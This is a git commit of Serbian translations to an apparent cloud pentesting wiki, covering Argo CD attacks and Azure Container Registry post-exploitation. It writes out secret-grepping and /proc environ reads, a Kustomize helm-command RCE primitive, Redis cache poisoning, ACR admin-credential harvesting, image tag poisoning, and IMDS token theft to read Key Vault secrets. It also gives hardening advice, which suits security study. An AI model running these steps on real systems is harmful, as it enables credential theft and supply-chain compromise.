Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az

This commit is contained in:
Translator
2026-07-19 09:26:23 +00:00
parent d316e74bce
commit 44b9534f05
5 changed files with 217 additions and 121 deletions
Binary file not shown.
+81 -80
View File
@@ -4,16 +4,16 @@
## Osnovne informacije
[Argo CD](https://argo-cd.readthedocs.io/) je GitOps platforma za kontinuiranu isporuku za Kubernetes. Ona prati Git repozitorijume, renderuje Kubernetes manifeste pomoću alata kao što su Helm, Kustomize, Jsonnet ili config management plugins, i usklađuje trenutno stanje clustera sa željenim stanjem sačuvanim u Git-u.
[Argo CD](https://argo-cd.readthedocs.io/) je GitOps platforma za kontinuiranu isporuku za Kubernetes. Prati Git repozitorijume, renderuje Kubernetes manifeste pomoću alata kao što su Helm, Kustomize, Jsonnet ili plugins za upravljanje konfiguracijom, i usklađuje trenutno stanje klastera sa željenim stanjem sačuvanim u Git-u.
Iz perspektive napadača, tretirajte Argo CD kao **deployment engine sa Kubernetes credentials**. Korisna kompromitacija Argo CD-a može dovesti do:
Iz perspektive napadača, Argo CD treba posmatrati kao **deployment engine sa Kubernetes credentials**. Uspešan kompromis Argo CD-a može dovesti do:
- Pristupa privatnim Git repozitorijumima i credentials za repozitorijume.
- Pristupa Kubernetes cluster secrets koje koristi Argo CD.
- Izvršavanja koda za generisanje manifesta u `argocd-repo-server`.
- Pristupa privatnim Git repozitorijumima i credentials repozitorijuma.
- Pristupa Kubernetes secrets koje koristi Argo CD.
- Izvršavanja koda tokom generisanja manifesta u `argocd-repo-server`.
- Neovlašćenog deployment-a Kubernetes objekata kroz pouzdane Git repozitorijume, Argo CD aplikacije ili manipulaciju cache-om.
## Arhitektura i interesantne komponente
## Arhitektura i zanimljive komponente
Uobičajeni Kubernetes objekti i servisi:
```bash
@@ -24,21 +24,21 @@ kubectl get networkpolicy -n argocd 2>/dev/null
```
Zanimljive usluge:
- **`argocd-server`**: javni API, web UI, CLI API, autentikacija i autorizacija.
- **`argocd-application-controller`**: poredi željeno i aktivno stanje, zatim primenjuje resurse na Kubernetes.
- **`argocd-server`**: javni API, web UI, CLI API, autentifikacija i autorizacija.
- **`argocd-application-controller`**: upoređuje željeno i trenutno stanje, a zatim primenjuje resurse na Kubernetes.
- **`argocd-repo-server`**: klonira repozitorijume, kešira Git podatke i pokreće Helm/Kustomize/Jsonnet/plugins za generisanje manifesta. Podrazumevani gRPC port je **8081**.
- **`argocd-redis`**: keš za application, manifest i Git reference podatke. Podrazumevani Redis port je **6379**.
- **`argocd-applicationset-controller`**: generiše Argo CD `Application` objekte iz generatora kao što su Git, SCM, clusters i pull requests.
- **`argocd-redis`**: keš za podatke o aplikacijama, manifestima i Git referencama. Podrazumevani Redis port je **6379**.
- **`argocd-applicationset-controller`**: generiše Argo CD `Application` objekte pomoću generatora kao što su Git, SCM, klasteri i pull request-ovi.
Iz kompromitovanog pod-a ili internog network segmenta, proverite internu dostupnost:
Iz kompromitovanog poda ili internog segmenta mreže proverite internu dostupnost:
```bash
nc -vz <argocd-server> 443
nc -vz <argocd-repo-server> 8081
nc -vz <argocd-redis> 6379
```
## Public API / UI Attacks
## Napadi na javni API / UI
Ako imate Argo CD credentials ili exposed instancu, počnite sa normalnom API površinom:
Ako imate Argo CD credentials ili izloženu instancu, počnite sa uobičajenom API površinom:
```bash
argocd login <argocd-server>
argocd account get-user-info
@@ -49,15 +49,15 @@ argocd repo list
argocd cluster list
argocd admin settings rbac can <subject> <action> <resource> <object>
```
Korisne attack paths:
Korisni napadni putevi:
- **Application write access**: izmeni `source.repoURL`, `source.path`, Helm values, Kustomize options, plugin settings ili sync options tako da Argo CD deploy-uje manifests pod kontrolom napadača.
- **Project misconfiguration**: `AppProject` objekti mogu dozvoliti široke `sourceRepos`, široke `destinations`, nesigurne `clusterResourceWhitelist` ili slabe namespace restrikcije.
- **Repository credential abuse**: repository secrets, GitHub App credentials, SSH keys i tokens mogu omogućiti push u trusted repos ili dodavanje malicious dependencies.
- **Cluster credential abuse**: cluster secrets mogu sadržati bearer tokens ili exec-provider configuration koje Argo CD koristi za deploy u target clusters.
- **Local admin / project tokens**: dugotrajni Argo CD tokens mogu se ponovo koristiti kroz API osim ako nisu revoked ili expired.
- **Application write access**: izmenite `source.repoURL`, `source.path`, Helm vrednosti, Kustomize opcije, podešavanja plugin-a ili sync opcije tako da Argo CD deploy-uje manifeste pod kontrolom napadača.
- **Project misconfiguration**: `AppProject` objekti mogu dozvoliti široke `sourceRepos`, široke `destinations`, nesiguran `clusterResourceWhitelist` ili slaba ograničenja namespace-a.
- **Repository credential abuse**: repository secrets, GitHub App credentials, SSH keys i tokens mogu omogućiti push u pouzdane repo-e ili dodavanje malicioznih dependencies.
- **Cluster credential abuse**: cluster secrets mogu sadržati bearer tokens ili exec-provider konfiguraciju koju Argo CD koristi za deploy u ciljne klastere.
- **Local admin / project tokens**: dugotrajni Argo CD tokens mogu se ponovo koristiti putem API-ja ako nisu opozvani ili im nije istekao rok.
Enumeriši configuration iz Kubernetes kada imaš cluster read access:
Enumerišite konfiguraciju iz Kubernetes-a kada imate read access nad klasterom:
```bash
kubectl get applications.argoproj.io -A -o yaml
kubectl get appprojects.argoproj.io -A -o yaml
@@ -65,26 +65,26 @@ kubectl get applicationsets.argoproj.io -A -o yaml
kubectl get secrets -n argocd -o yaml | grep -nE 'repoURL|sshPrivateKey|password|bearerToken|githubApp|tlsClientCertData|tlsClientCertKey'
kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml
```
## Trusted Git Repository Abuse
## Zloupotreba pouzdanog Git repozitorijuma
Ako možete da push-ujete u repository kome Argo CD veruje, obično možete uticati na to šta se deploy-uje. Uticaj zavisi od granica `AppProject` i permissions service account-a koje koristi application controller.
Ako možete da izvršite push u repozitorijum kojem Argo CD veruje, obično možete da utičete na ono što se deploy-uje. Uticaj zavisi od granica `AppProject` objekta i dozvola service account-a koje koristi application controller.
Uobičajene lokacije za payload:
- Raw Kubernetes YAML unutar application path-a.
- Helm chart templates i `values.yaml`.
- Neobrađeni Kubernetes YAML unutar putanje aplikacije.
- Helm chart template-i i `values.yaml`.
- Kustomize overlays, remote bases i generators.
- Jsonnet ili input za config management plugin.
- ApplicationSet generator files koji kreiraju ili ažuriraju `Application` objects.
- Jsonnet ili ulazni podaci config management plugin-a.
- Datoteke generatora za ApplicationSet koje kreiraju ili ažuriraju `Application` objekte.
Proverite da li app koristi automated sync, pruning, self-heal, sync windows ili manual approvals:
Proverite da li aplikacija koristi automated sync, pruning, self-heal, sync windows ili manual approvals:
```bash
kubectl get applications.argoproj.io -A \
-o custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server'
```
## Direktna zloupotreba `argocd-repo-server`
Ne pretpostavljajte da je javni Argo CD API jedina attack surface. Interni Argo CD komponente komuniciraju sa `argocd-repo-server` preko gRPC. Ako arbitrary pods mogu da dosegnu repo-server, attacker-controlled interni requests mogu da zaobiđu provere koje normalno sprovodi `argocd-server`.
Ne pretpostavljajte da je javni Argo CD API jedina attack surface. Interni Argo CD komponente komuniciraju sa `argocd-repo-server` putem gRPC-a. Ako proizvoljni podovi mogu da pristupe repo-serveru, zahtevi iz interne mreže pod kontrolom napadača mogu zaobići provere koje obično sprovodi `argocd-server`.
Praktične provere:
```bash
@@ -92,60 +92,60 @@ kubectl get svc -n argocd argocd-repo-server -o yaml
kubectl get endpoints -n argocd argocd-repo-server -o wide
nc -vz <argocd-repo-server> 8081
```
Zanimljivi znaci:
Zanimljivi pokazatelji:
- `repo-server` gRPC endpoint je dostupan sa non-Argo CD podova.
- `NetworkPolicies` nedostaju ili dozvoljavaju samo allow-list egress bez deny-ing ingress.
- `repo-server` ima pristup custom config management plugins, decryption tools, ili repository content od više tenant-a.
- Redis je dostupan sa non-Argo CD podova, što omogućava inspection ili tampering cache-a ako su credentials dostupni ili nisu potrebni.
- gRPC endpoint za repo-server dostupan je iz podova koji nisu Argo CD.
- NetworkPolicies nedostaju ili dozvoljavaju samo allow-list egress saobraćaja, bez zabrane ingress saobraćaja.
- repo-server ima pristup custom config management plugins, alatima za decryption ili sadržaju repozitorijuma iz više tenant-a.
- Redis je dostupan iz podova koji nisu Argo CD, što omogućava inspection ili tampering keša ako su credentials dostupni ili nisu potrebni.
## Unauthenticated Repo-Server RCE via Kustomize Options
U julu 2026, Synacktiv je objavio unauthenticated code execution chain u Argo CD `repo-server` kada attacker može da dosegne interni gRPC servis. Napad zloupotrebljava direct access na `/repository.RepoServerService/GenerateManifest` i attacker-controlled `KustomizeOptions`.
U julu 2026, Synacktiv je otkrio unauthenticated code execution lanac u Argo CD-u kada napadač može da pristupi internom gRPC servisu. Napad zloupotrebljava direktan pristup endpointu `/repository.RepoServerService/GenerateManifest` i `KustomizeOptions` koje kontroliše napadač.
Opasna primitive je forsiranje `repo-server` da clone-uje attacker-controlled repository content i pokrene Kustomize sa Helm support:
Opasni primitive je prisiljavanje repo-server-a da klonira sadržaj repozitorijuma koji kontroliše napadač i pokrene Kustomize sa podrškom za Helm:
```bash
kustomize build <attacker_repo_path> --enable-helm --helm-command ./payload.sh
```
Minimalni malicious Kustomize ulaz treba da pokrene Helm obradu:
Minimalni zlonamerni Kustomize input mora da pokrene Helm processing:
```yaml
helmCharts:
- name: pwn
version: 0.0.1
```
Zašto ovo radi:
Zašto ovo funkcioniše:
- `argocd-repo-server` klonira repository pre renderovanja.
- `--helm-command ./payload.sh` se rešava relativno u odnosu na klonirani repository.
- Code execution ne zahteva shell metacharacter injection ako napadač može da kontroliše rendered repository i Kustomize build options.
- `--helm-command ./payload.sh` se razrešava relativno u odnosu na klonirani repository.
- Code execution ne zahteva injection shell metakaraktera ako attacker može da kontroliše renderovani repository i Kustomize build opcije.
U vreme Synacktiv-ovog otkrivanja 1. jula 2026, prijavili su da issue nema official fix niti CVE. Ovo prvo tretirajte kao network-exposure issue: exploitation zahteva dostupnost internog repo-server gRPC porta.
U vreme Synacktiv-ovog otkrivanja od 1. jula 2026, prijavili su da problem nije imao zvaničnu ispravku niti CVE. Ovo najpre tretirajte kao problem izloženosti mreži: exploitation zahteva dostupnost internom repo-server gRPC portu.
## Redis Cache Poisoning za Deploy Manifests
Nakon code execution u `argocd-repo-server`, ili nakon direktnog pristupa Redis-u sa validnim credentials, pregledajte Redis-backed cache entries. Argo CD obično čuva gzip-compressed JSON values.
Nakon code execution-a u `argocd-repo-server`-u ili nakon direktnog pristupa Redis-u sa validnim credentials, pregledajte Redis-backed cache entries. Argo CD obično čuva gzip-compressed JSON vrednosti.
Zanimljivi key prefixes:
Zanimljivi key prefiksi:
```text
mfst|... # cached rendered manifests
git-refs|... # Git branch/ref to commit mappings
app|... # application resource/cache data
cluster|... # cluster cache information
```
Napad trovanja cache-a opisan od strane Synacktiv zloupotrebljava dve stavke stanja:
The cache poisoning attack koji je opisao Synacktiv zloupotrebljava dva dela state-a:
1. Izmeni odgovarajući `mfst|...` cache entry manifesta tako da uključi Kubernetes manifest pod kontrolom napadača.
2. Izmeni povezani `git-refs|...` mapping tako da Argo CD poveruje da se branch pomerio, a zatim se reconciles nazad na cached revision.
1. Izmeniti relevantni `mfst|...` manifest cache entry tako da uključuje Kubernetes manifest pod kontrolom napadača.
2. Izmeniti povezano `git-refs|...` mapiranje kako bi Argo CD poverovao da je branch promenjen, a zatim izvršio reconciliation nazad na cached revision.
Uticaj:
Impact:
- Sa uključenim Auto Sync, Argo CD može automatski da primeni poisoned cached manifest.
- Bez Auto Sync, payload se i dalje može primeniti kada korisnik ručno sync-uje aplikaciju.
- Konačni uticaj je ograničen destination-om ciljne aplikacije i Kubernetes permissions dostupnim Argo CD-u.
- Kada je Auto Sync omogućen, Argo CD može automatski da primeni poisoned cached manifest.
- Bez Auto Sync-a, payload se i dalje može primeniti kada korisnik ručno sync-uje application.
- Konačni impact ograničen je destination-om ciljne application i Kubernetes permissions dostupnim Argo CD-u.
## ApplicationSet Attacks
ApplicationSet je posebno osetljiv jer kreira ili ažurira `Application` objekte na osnovu generator output-a.
ApplicationSet je posebno osetljiv zato što kreira ili ažurira `Application` objekte na osnovu generator output-a.
Review:
```bash
@@ -154,15 +154,15 @@ kubectl get appprojects.argoproj.io -A -o yaml
```
Zanimljivi obrasci:
- Git generators koji čitaju fajlove koje napadač može da menja i koji kontrolišu nazive aplikacija, paths, projekte ili destinacije.
- Pull request generators za javne repozitorijume gde nepouzdani saradnici mogu da utiču na generisane aplikacije.
- Template fields koji dozvoljavaju široke destination cluster/namespace.
- AppProjects koji dozvoljavaju `sourceRepos: ["*"]` ili široke `destinations`.
- Git generatori koji čitaju fajlove koje napadač može da menja, a koji kontrolišu nazive aplikacija, putanje, projekte ili odredišta.
- Pull request generatori za javne repozitorijume, gde nepouzdani saradnici mogu da utiču na generisane aplikacije.
- Polja šablona koja omogućavaju široko definisane destination klastere/namespace-ove.
- AppProjects koji dozvoljavaju `sourceRepos: ["*"]` ili široko definisana `destinations`.
- Generisane aplikacije koje nasleđuju automated sync i pruning.
## Post-Exploitation
Iz Argo CD pod shell-a, prioriteti su:
Iz Argo CD pod shell-a, prioritet dajte:
```bash
env
cat /proc/1/environ 2>/dev/null | tr '\0' '\n'
@@ -172,23 +172,23 @@ mount | grep -E 'secret|token|config'
Korisni ciljevi:
- Ukrasti `REDIS_PASSWORD` ili Redis TLS/client materijal.
- Izvući kredencijale repozitorijuma iz mounted secrets ili Argo CD Kubernetes secrets.
- Identifikovati cluster kredencijale koje koristi Argo CD.
- Čitati generisane manifests i output pluginova koji mogu sadržati injected secrets.
- Proveriti da li custom plugins, SOPS, Helm secrets, Vault plugins ili cloud CLIs otkrivaju decryption keys i cloud kredencijale.
- Izdvojiti akreditive repozitorijuma iz montiranih secrets ili Argo CD Kubernetes secrets.
- Identifikovati cluster akreditive koje koristi Argo CD.
- Pročitati generisane manifeste i izlaz plugin-a koji mogu sadržati ubačene secrets.
- Proveriti da li custom plugins, SOPS, Helm secrets, Vault plugins ili cloud CLI-ji izlažu ključeve za dešifrovanje i cloud akreditive.
## Detection & Hardening
## Detekcija i ojačavanje bezbednosti
Važne provere:
- Ograničiti `argocd-repo-server` port **8081** i Redis port **6379** sa NetworkPolicies tako da im mogu pristupiti samo očekivane Argo CD komponente.
- U Helm deploymentima proveriti da li su network policies zaista kreirane. Argo CD Helm chart values su istorijski podrazumevano imali isključeno kreiranje component network policy-ja.
- Držati `argocd-server` kao autentifikovani ulazni punkt. Interni servisi ne bi smeli biti dostupni proizvoljnim workload-ovima.
- Isključiti neiskorišćene config management alate i pluginove.
- Ograničiti `argocd-repo-server` port **8081** i Redis port **6379** pomoću NetworkPolicies tako da im mogu pristupiti samo očekivane Argo CD komponente.
- Kod Helm deployments proveriti da li se NetworkPolicies zaista kreiraju. Vrednosti Argo CD Helm chart-a su istorijski podrazumevano onemogućavale kreiranje network policy-ja za komponente.
- Zadržati `argocd-server` kao autentifikovanu ulaznu tačku. Interni servisi ne bi trebalo da budu dostupni proizvoljnim workload-ima.
- Onemogućiti nekorišćene config management alate i plugin-e.
- Ograničiti `AppProject` `sourceRepos`, `destinations`, namespace permissions i cluster-scoped resources.
- Izbegavati čuvanje širokih repository kredencijala tamo gde low-privileged Argo CD user može da izazove njihovu ponovnu upotrebu.
- Nadzirati repo-server zahteve, Kustomize build options, plugin izvršavanja, Redis writes i neočekivan pristup `mfst|` / `git-refs|` ključevima.
- Rotirati Argo CD local users, project tokens, repository kredencijale i cluster kredencijale nakon compromise.
- Izbegavati čuvanje široko privilegovanih akreditiva repozitorijuma tamo gde Argo CD korisnik sa niskim privilegijama može izazvati njihovu ponovnu upotrebu.
- Nadgledati repo-server zahteve, Kustomize build opcije, izvršavanja plugin-a, Redis upise i neočekivani pristup ključevima `mfst|` / `git-refs|`.
- Rotirati Argo CD local users, project tokene, akreditive repozitorijuma i cluster akreditive nakon kompromitovanja.
Korisne komande:
```bash
@@ -197,23 +197,24 @@ kubectl get networkpolicy -A | grep -i argocd
kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null
kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null
```
## Static Analysis Note: Typed API Requests in CodeQL
## Napomena o statičkoj analizi: tipizovani API zahtevi u CodeQL-u
Za Go services koji koriste gRPC/REST handlers, podrazumevani CodeQL remote sources mogu propustiti flows kada se raw input jednom unmarshaluje u typed request objects. Koristan model za Argo CD-style services je:
Za Go servise koji koriste gRPC/REST handlere, podrazumevani CodeQL remote sources mogu da propuste tokove nakon što se sirovi ulaz unmarshaluje u tipizovane request objekte. Koristan model za servise u stilu Argo CD-a je:
- Receiver type kao `Server` ili `Service`.
- Prvi parameter je `context.Context`.
- Drugi parameter je typed request object.
- Tip receiver-a, kao što je `Server` ili `Service`.
- Prvi parametar je `context.Context`.
- Drugi parametar je tipizovani request objekat.
Modeluj taj drugi parameter kao remote source i dodaj custom sinks za `exec.Command` / `exec.CommandContext` arguments. Ovo pomaže da se pronađu flows od internih API request fields do command execution helpers.
Modelujte taj drugi parametar kao remote source i dodajte prilagođene sink-ove za argumente funkcija `exec.Command` / `exec.CommandContext`. Ovo pomaže u pronalaženju tokova od polja internih API request-ova do pomoćnih funkcija za izvršavanje komandi.
## References
## Reference
- [Synacktiv - Caught in the Octopus Trap: Unauthenticated RCE in Argo CD with CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql)
- [Argo CD docs - Security considerations](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/)
- [Argo CD docs - High Availability](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/)
- [Argo CD docs - repo-server command reference](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/)
- [Argo CD dokumentacija - Bezbednosna razmatranja](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/)
- [Argo CD dokumentacija - Visoka dostupnost](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/)
- [Argo CD dokumentacija - repo-server referenca komandi](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/)
- [Argo CD - repo-server NetworkPolicy manifest](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml)
- [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/)
- [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md)
- [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md)
- [Argo CD dokumentacija - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/)
- [Argo Helm - referenca vrednosti chart-a](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md)
- [Kustomize - primer generatora Helm chart-a](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md)
{{#include ../banners/hacktricks-training.md}}
@@ -6,4 +6,8 @@
az-azure-ai-foundry-post-exploitation.md
{{#endref}}
{{#ref}}
az-container-registry-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,87 @@
# Az - Container Registry Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Azure Container Registry
Za više informacija o ovom servisu pogledajte:
{{#ref}}
../az-services/az-container-registry.md
{{#endref}}
### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write`
Identitet sa ACR pristupom management-plane-u može taj pristup pretvoriti u **ponovo upotrebljive Docker kredencijale**. Ako je **admin user** onemogućen, ali principal takođe ima `registries/write`, omogućite ga, preuzmite lozinke i direktno se autentifikujte na `<registry>.azurecr.io`.
```bash
az acr show --resource-group <resource-group> --name <registry-name> --query adminUserEnabled
az acr update --resource-group <resource-group> --name <registry-name> --admin-enabled true
az acr credential show -n <registry-name>
docker login <registry-name>.azurecr.io -u <username> -p <password>
```
Ovo je korisno zato što se pronađeni kredencijali mogu ponovo koristiti izvan Azure CLI-ja za **izlistavanje, preuzimanje, slanje, prepisivanje i ponekad brisanje** sadržaja registry-ja sve dok se administratorski nalog ne onemogući ili se lozinke ne promene.
### `Microsoft.ContainerRegistry/registries/pull/read`
Koristite pull pristup za **izviđanje repozitorijuma** i **secret hunting** unutar image-a. Pregledajte i konačnu konfiguraciju kontejnera i istorijske filesystem slojeve, jer fajlovi kopirani u jednom sloju mogu ostati recoverable čak i ako su kasnije obrisani.
```bash
az acr repository list -n <registry-name>
az acr repository show-tags -n <registry-name> --repository <repository> --detail
docker pull <registry-name>.azurecr.io/<repository>:<tag>
container_id=$(docker create <registry-name>.azurecr.io/<repository>:<tag>)
docker cp "$container_id":/ ./extracted_container
docker rm "$container_id"
docker inspect <registry-name>.azurecr.io/<repository>:<tag> | jq -r '.[0].Config.Env[]?'
dive <registry-name>.azurecr.io/<repository>:<tag>
```
Ciljevi visoke vrednosti uključuju **promenljive okruženja**, **konfiguracije aplikacija**, **deployment skripte**, **sertifikate**, **pristupne tokene** i **connection strings**. Za još ideja tokom pregleda layer-a, pogledajte stranicu Docker forensics:
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### `Microsoft.ContainerRegistry/registries/push/write`
Push pristup napadaču omogućava da **otruje pouzdane repozitorijume** ili **prepiše promenljive tagove** kao što su `latest`, `prod` ili `stable`. Svaki workload koji se i dalje deployuje pomoću taga umesto digest-a može da preuzme napadačev image pri sledećem deployment-u, događaju horizontalnog skaliranja ili restartu.
```bash
# Retag an existing local image for the target ACR
docker tag <local-image>:<local-tag> <registry-name>.azurecr.io/<repository>:<trusted-tag>
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
# If your workstation architecture differs from the target runtime, build for the consumer platform first
docker buildx build --platform linux/amd64 -t <registry-name>.azurecr.io/<repository>:<trusted-tag> --load .
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
```
Pre zamene taga, proverite koje repozitorijume i tagove downstream workloads zaista koriste. **Digest-pinned** konzumenti (`@sha256:...`) se mnogo teže preusmeravaju nego konzumenti zasnovani na tagovima.
### `Microsoft.ContainerRegistry/registries/push/write`, `Microsoft.ContainerInstance/containerGroups/restart/action`
Ako možete i da **zamenite image** koji koristi downstream container workload i da **restartujete** taj workload, maliciozni entrypoint se izvršava unutar **network i managed identity konteksta** ciljnog containera. Odatle image može da zatraži tokene od IMDS-a i pristupi Azure resursima dostupnim toj workload identity.
```bash
TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token)
curl -H "Authorization: Bearer $TOKEN" \
'https://<vault-name>.vault.azure.net/secrets/<secret-name>?api-version=7.4'
az container restart --resource-group <resource-group> --name <container-name>
```
Ovo pretvara overwrite ACR taga u **code execution**, **secret theft** ili **lateral movement** unutar bilo kog container consumer-a koji veruje izmenjenom tagu i izlaže koristan identity.
### Povezana privesc putanja: ACR Tasks managed identities
Ako takođe posedujete `Microsoft.ContainerRegistry/registries/tasks/write` i `Microsoft.ContainerRegistry/registries/runs/write`, pređite na ACR privesc putanju i direktno zloupotrebite managed identity task-a:
{{#ref}}
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}
## Reference
- [TrustedSec - Pandora's Container Part 1: Unpacking Azure Container Security](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security)
- [Microsoft Learn - Azure Container Registry authentication](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication)
- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest)
- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest)
- [Microsoft Learn - ACR Tasks YAML reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml)
{{#include ../../../banners/hacktricks-training.md}}
@@ -2,39 +2,39 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Osnovne informacije
Azure Container Registry (ACR) je siguran, private registry koji omogućava da **store, manage, and access container images in the Azure cloud**. Integrates se bez problema sa nekoliko Azure services, providing automated build and deployment workflows at scale. Sa features kao što su geo-replication i vulnerability scanning, ACR pomaže da se obezbedi enterprise-grade security i compliance za containerized applications.
Azure Container Registry (ACR) je bezbedan, privatni registry koji vam omogućava da **skladištite, upravljate i pristupate slikama kontejnera u Azure cloud-u**. Besprekorno se integriše sa nekoliko Azure servisa, obezbeđujući automatizovane tokove za build i deployment u velikom obimu. Uz funkcije kao što su geo-replikacija i skeniranje ranjivosti, ACR pomaže u obezbeđivanju bezbednosti i usklađenosti na nivou preduzeća za kontejnerizovane aplikacije.
### Permissions
### Dozvole
Ovo su **different permissions** [according to the docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) koje mogu biti dodeljene nad Container Registry:
Ovo su **različite dozvole** [prema dokumentaciji](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) koje mogu biti dodeljene nad Container Registry-jem:
- Access Resource Manager
- Create/delete registry
- Push image
- Pull image
- Delete image data
- Change policies
- Sign images
- Pristup Resource Manager-u
- Kreiranje/brisanje registry-ja
- Push image-a
- Pull image-a
- Brisanje podataka image-a
- Menjanje politika
- Potpisivanje image-a
Postoje i neke **built-in roles** koje mogu biti dodeljene, a takođe je moguće kreirati **custom roles**.
Takođe postoje neke **ugrađene uloge** koje mogu biti dodeljene, a moguće je kreirati i **custom uloge**.
![Azure Container Registry built-in roles permissions matrix for managing registry, image, data, policies, and signing actions](/images/registry_roles.png)
![Matrica dozvola ugrađenih Azure Container Registry uloga za upravljanje registry-jem, image-ovima, podacima, politikama i radnjama potpisivanja](/images/registry_roles.png)
### Authentication
### Autentikacija
> [!WARNING]
> Veoma je imporatantno da čak i ako ime registry-ja sadrži neka velika slova, uvek treba koristiti **lowercase letters** za login, push i pull images.
> Veoma je važno da, čak i ako naziv registry-ja sadrži velika slova, uvek koristite **mala slova** za login, push i pull image-ova.
Postoje 4 načina da se autentifikuješ na ACR:
Postoje 4 načina za autentikaciju na ACR:
- **With Entra ID**: Ovo je **default** način za autentifikaciju na ACR. Koristi **`az acr login`** command za autentifikaciju na ACR. Ovaj command će **store credentials** u datoteku **`~/.docker/config.json`**. Takođe, ako ovaj command pokrećeš iz environment bez pristupa docker socket-u kao u **cloud shell**, moguće je koristiti flag **`--expose-token`** da dobiješ **token** za autentifikaciju na ACR. Zatim, da bi se autentifikovao, treba da koristiš korisničko ime `00000000-0000-0000-0000-000000000000` kao: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **With an admin account**: Admin user je podrazumevano disabled, ali može biti enabled i tada će biti moguće pristupiti registry-ju koristeći **username** i **password** admin account-a sa punim permissions nad registry-jem. Ovo je i dalje supported zato što ga koriste neke Azure services. Imaj na umu da se za ovog user-a kreiraju **2 passwords** i oba su validna. Možeš ga enable-ovati pomoću `az acr update -n <acrName> --admin-enabled true`. Imaj na umu da je username obično ime registry-ja (a ne `admin`).
- **With a token**: Moguće je kreirati **token** sa specifičnim **`scope map`** (permissions) za pristup registry-ju. Zatim je moguće koristiti ime tokena kao username i bilo koju od generisanih lozinki za autentifikaciju na registry pomoću `docker login -u <registry-name> -p <password> <registry-url>`
- **With a Service Principal**: Moguće je kreirati **service principal** i dodeliti mu role kao što je **`AcrPull`** za pull images. Zatim će biti moguće **login to the registry** koristeći SP appId kao username i generisani secret kao password.
- **Pomoću Entra ID-ja**: Ovo je **podrazumevani** način autentikacije na ACR. Koristi komandu **`az acr login`** za autentikaciju na ACR. Ova komanda će **sačuvati kredencijale** u fajl **`~/.docker/config.json`**. Pored toga, ako ovu komandu pokrećete iz okruženja bez pristupa Docker socket-u, kao što je **cloud shell**, moguće je koristiti flag **`--expose-token`** za dobijanje **tokena** za autentikaciju na ACR. Zatim, za autentikaciju, kao korisničko ime treba koristiti `00000000-0000-0000-0000-000000000000`, na primer: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Pomoću admin naloga**: Admin korisnik je podrazumevano onemogućen, ali se može omogućiti, nakon čega će biti moguće pristupiti registry-ju pomoću **korisničkog imena** i **lozinke** admin naloga sa punim dozvolama nad registry-jem. Ovo je i dalje podržano jer ga neki Azure servisi koriste. Imajte na umu da se za ovog korisnika kreiraju **2 lozinke** i da su obe važeće. Možete ga omogućiti pomoću `az acr update -n <acrName> --admin-enabled true`. Imajte na umu da je korisničko ime obično naziv registry-ja (a ne `admin`).
- **Pomoću tokena**: Moguće je kreirati **token** sa određenim **`scope map`-om** (dozvolama) za pristup registry-ju. Zatim je moguće koristiti naziv tokena kao korisničko ime i bilo koju od generisanih lozinki za autentikaciju na registry-ju pomoću `docker login -u <registry-name> -p <password> <registry-url>`
- **Pomoću Service Principal-a**: Moguće je kreirati **service principal** i dodeliti mu ulogu kao što je **`AcrPull`** za pull image-ova. Zatim će biti moguće **ulogovati se na registry** koristeći SP appId kao korisničko ime i generisani secret kao lozinku.
Primer script-a iz [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) za generisanje SP sa access nad registry-jem:
Primer skripte iz [dokumentacije](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) za generisanje SP-a sa pristupom registry-ju:
```bash
#!/bin/bash
ACR_NAME=$containerRegistry
